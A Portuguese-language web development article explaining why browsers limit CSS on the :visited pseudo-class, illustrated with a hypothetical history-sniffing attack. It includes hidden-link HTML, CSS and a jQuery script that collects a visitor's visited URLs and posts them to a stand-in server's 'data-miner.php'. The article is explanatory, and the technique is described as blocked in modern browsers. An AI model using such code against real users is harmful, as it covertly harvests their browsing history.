Os navegadores modernos restringiram severamente as propriedades CSS que os desenvolvedores podem usar em uma regra de estilo que usa a :visitedpseudoclasse link. Se você não está familiarizado com essa pseudoclasse excêntrica, pode estar se perguntando por que os links visitados do seu site não estão sendo renderizados conforme o esperado. Se você tentar estilizar os links visitados dando-lhes um background-image, por exemplo, ficará surpreso por não poder mais fazê-lo em navegadores modernos.
Você pode pensar que é um bug do navegador porque não há nenhuma razão imediatamente óbvia para que o seguinte CSS não funcione:
/* this will not work as expected */ a:visited { display: block; background-image: url(“cat.jpg”); }
Se usarmos qualquer outra pseudoclasse, como, digamos, a :hoverpseudoclasse, as propriedades de estilo funcionarão conforme o esperado.
/* this is perfectly fine */ a:hover { display: block; background-image: url(“cat.jpg”); }
Atualmente, parece que a única propriedade que você pode atribuir à :visitedpseudoclasse é a colorpropriedade. Ah, e o navegador provavelmente não renderizará a cor com uma transparência alfa, mesmo que você a especifique corretamente com uma unidade de cor padrão como rgba .
Estranho né? E aí? As especificações W3C para as pseudoclasses de link tecnicamente dão aos navegadores da Web a opção de ignorar nossas regras de estilo :linke :visitedpseudoclasses.
Isso ocorre porque a :visitedpseudoclasse pode ser potencialmente abusada de forma que um agressor possa obter dados sobre o histórico de navegação de seus visitantes.
É possível que autores de folhas de estilo abusem das pseudoclasses :link e :visited para determinar quais sites um usuário visitou sem o consentimento do usuário. Os UAs podem, portanto, tratar todos os links como links não visitados ou implementar outras medidas para preservar a privacidade do usuário enquanto processam links visitados e não visitados de maneira diferente.” Fonte: Seletores Nível 3: As pseudoclasses do link: :link e :visited
(Caso você esteja se perguntando: no trecho acima, o termo “UAs” refere-se a “agentes do usuário”, que é um software usado para acessar um site. O tipo mais comum de UA é um navegador da web.)
Como o histórico de navegação de um usuário pode ser comprometido
Para explicar o motivo pelo qual você não pode usar todas as propriedades CSS com a :visitedpseudo-class , tentarei explicá-lo através de uma situação hipotética.
Os navegadores modernos não permitem mais background-imagea renderização da propriedade. No entanto, vamos fingir que, nessa situação hipotética, um navegador da Web permite e processa a background-imagepropriedade. Sem as devidas precauções, um abusador da :visitedpseudoclasse poderia colocar uma lista de <a>elementos em uma página da web que aponta para sites específicos e, em seguida, ocultá-la do visitante da página:
HTML
<a href=”https://www.google.com“>Hidden link</a> <a href=”https://www.facebook.com/“>Hidden link</a> <a href=”https://dribbble.com/“>Hidden link</a> …
Esses <a>elementos podem ser ocultados usando CSS.
O navegador não pode renderizar a background-imagepropriedade sozinho no lado do cliente, ele precisa baixar um ativo de algum servidor web para renderizar a propriedade conforme especificado pelo autor do CSS. Vamos chamar esse ativo externo de “visited.jpg”.
CSS
a:link { /* Hide the links visually */ display: none; background-image: none; } a:visited { /* give visited links a background image */ background-image: url(“http://some.server/visited.jpg“); }
Então, usando JavaScript, todos os links na página da web podem ser percorridos para determinar se ela tem ou não o plano de fundo “visited.jpg”. Se um link tiver o plano de fundo “visited.jpg”, é um indício de que o URL foi visitado pelo usuário. Uma lista de URLs visitados, juntamente com outras informações, como o endereço IP do usuário, pode ser enviada para um script do lado do servidor para processamento.
No exemplo a seguir, o jQuery é usado para conseguir algo dessa natureza.
JavaScript/jQuery
$(document).ready(function() { // The property value that hints the link has been visited var VisitedBg = “url(http://some.server/visited.jpg)”; // An array that stores visited URLS var URLsVisited = []; // Loop through all links in the web page $(‘a’).each(function() { // Check if the current link’s background is equal to// visited.jpg if( $(this).css(‘background-image’) == VisitedBg ) { // Put this link in the array because// it has been visited URLsVisited.push( $(this).attr(‘href’) ); } }); // Send the list of visited URLs to a PHP script// For processing and storage $.ajax({ type: ‘post’, url: ‘http://some.server/data-miner.php’, data: { ‘URLsVisited’: URLsVisited } }); });
Aqui está uma explicação mais detalhada do problema de privacidade no Mozilla.org. Além de limitar as propriedades CSS que serão renderizadas quando usadas com a :visitedpseudo-classe, funções JavaScript como getComputedStyle()e querySelector()quando usadas em links que correspondem ao :visitedseletor retornarão valores de forma que links visitados e não visitados não possam ser distinguidos.
